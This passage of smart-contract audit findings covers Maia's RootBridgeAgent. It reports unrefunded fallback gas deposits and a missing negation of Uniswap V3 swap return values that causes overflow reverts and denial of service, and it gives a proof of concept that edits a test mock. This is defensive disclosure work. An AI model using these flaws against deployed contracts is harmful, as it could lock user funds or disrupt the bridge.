When a crosschain transaction fails, anyFallback() will be executed and _payFallbackGas() will deduct the fallback execution cost from user's deposited gas. However, the remaining deposited gas after deduction is not refunded to the user and is locked within the contract.

Impact

User will lose the unconsumed gas deposit as there is no functions to withdraw it.

Recommended Mitigation Steps

Refund the remaining gas deposit to user after deduction of fallback execution cost.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/RootBridgeAgent.sol#L684 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/RootBridgeAgent.sol#L728 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/RootBridgeAgent.sol#L884-L886 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/RootBridgeAgent.sol#L757-L767

Vulnerability details

Both RootBridgeAgent._gasSwapIn() and RootBridgeAgent._gasSwapOut() do not negate the negative returned value of UniswapV3Pool.swap() before casting to uint256. That will cause the parent functions anyExecute() and _manageGasOut() to revert on overflow when casting return values of _gasSwapIn() and _gasSwapOut() with SafeCastLib.toUint128().

Impact

Several external functions in RootBridgeAgent (such as anyExecute(), callOut(), callOutAndBridge(), callOutAndBridgeMultiple(), etc) are affected by this issue. That means RootBridgeAgent will not function properly at all causing a DoS of the Ulysses Omnichain.

Detailed Explanation

UniSwapV3Pool.swap() returns a negative value for exact input swap (see documentation in link below). https://docs.uniswap.org/contracts/v3/reference/core/UniswapV3Pool#swap

And this is evident in UniswapV3's SwapRouter.sol, which shows that the returned value is negated before casting to uint256. https://github.com/Uniswap/v3-periphery/blob/main/contracts/SwapRouter.sol#L111

    function exactInputInternal(
        uint256 amountIn,
        address recipient,
        uint160 sqrtPriceLimitX96,
        SwapCallbackData memory data
    ) private returns (uint256 amountOut) { 
        ...

        (int256 amount0, int256 amount1) =
            getPool(tokenIn, tokenOut, fee).swap(
                recipient,
                zeroForOne,
                amountIn.toInt256(),
                sqrtPriceLimitX96 == 0
                    ? (zeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1)
                    : sqrtPriceLimitX96,
                abi.encode(data)
            );

        //@audit return values amount0 and amount1 are negated before casting to uint256
        return uint256(-(zeroForOne ? amount1 : amount0));
    }

However, both RootBridgeAgent._gasSwapIn() and RootBridgeAgent._gasSwapOut() do not negate the returned value before casting to uint256.

    function _gasSwapIn(uint256 _amount, uint24 _fromChain) internal returns (uint256) {
        ...

        try IUniswapV3Pool(poolAddress).swap(
            address(this),
            zeroForOneOnInflow,
            int256(_amount),
            sqrtPriceLimitX96,
            abi.encode(SwapCallbackData({tokenIn: gasTokenGlobalAddress}))
        ) returns (int256 amount0, int256 amount1) {
            //@audit missing negation of amount0/amount1 before casting to uint256
            return uint256(zeroForOneOnInflow ? amount1 : amount0);
        } catch (bytes memory) {
            _forceRevert();
            return 0;
        }
    }

     function _gasSwapOut(uint256 _amount, uint24 _toChain) internal returns (uint256, address) {
        ...

        //Swap imbalanced token as long as we haven't used the entire amountSpecified and haven't reached the price limit
        (int256 amount0, int256 amount1) = IUniswapV3Pool(poolAddress).swap(
            address(this),
            !zeroForOneOnInflow,
            int256(_amount),
            sqrtPriceLimitX96,
            abi.encode(SwapCallbackData({tokenIn: address(wrappedNativeToken)}))
        );

        //@audit missing negation of amount0/amount1 before casting to uint256
        return (uint256(!zeroForOneOnInflow ? amount1 : amount0), gasTokenGlobalAddress);
    }

In anyExecute() and _manageGasOut() , both return value of _gasSwapIn() and _gasSwapOut() are converted using SafeCastLib.toUint128(). That means these calls will revert due to overflow, as casting a negative int256 value to uint256 will result in a large value exceeding uint128.

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/RootBridgeAgent.sol#L884-L886

    function anyExecute(bytes calldata data)
        external
        virtual
        requiresExecutor
        returns (bool success, bytes memory result)
    {
        ...
            //@audit SafeCastLib.toUint128() will revert due to large return value from _gasSwapIn()
            //Swap in all deposited Gas
            _userFeeInfo.depositedGas = _gasSwapIn(
                uint256(uint128(bytes16(data[data.length - PARAMS_GAS_IN:data.length - PARAMS_GAS_OUT]))), fromChainId
            ).toUint128();
    }

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/RootBridgeAgent.sol#L757-L767

    function _manageGasOut(uint24 _toChain) internal returns (uint128) {
        ...

        if (_initialGas > 0) {
            if (userFeeInfo.gasToBridgeOut <= MIN_FALLBACK_RESERVE * tx.gasprice) revert InsufficientGasForFees();
            (amountOut, gasToken) = _gasSwapOut(userFeeInfo.gasToBridgeOut, _toChain);
        } else {
            if (msg.value <= MIN_FALLBACK_RESERVE * tx.gasprice) revert InsufficientGasForFees();
            wrappedNativeToken.deposit{value: msg.value}();
            (amountOut, gasToken) = _gasSwapOut(msg.value, _toChain);
        }

        IPort(localPortAddress).burn(address(this), gasToken, amountOut, _toChain);

        //@audit SafeCastLib.toUint128() will revert due to large return value from _gasSwapOut()
        return amountOut.toUint128();
    }

Proof of Concept

First, simulate a negative return value by adding the following line to MockPool.swap() in RootTest.t.sol#L1916

        //@audit simulate UniSwapV3Pool negative return value
        return (-amount0, -amount1);

Then run RootTest.testCallOutWithDeposit(), which will demonstrate that swap() will cause an overflow to revert CoreRootRouter.addBranchToBridgeAgent(), preventing RootTest.setUp() from completing.

Recommended Mitigation Steps

Negate the return values of UniswapV3Pool.swap() in RootBridgeAgent._gasSwapIn() and RootBridgeAgent._gasSwapOut() before casting to uint256.

Assessed type

DoS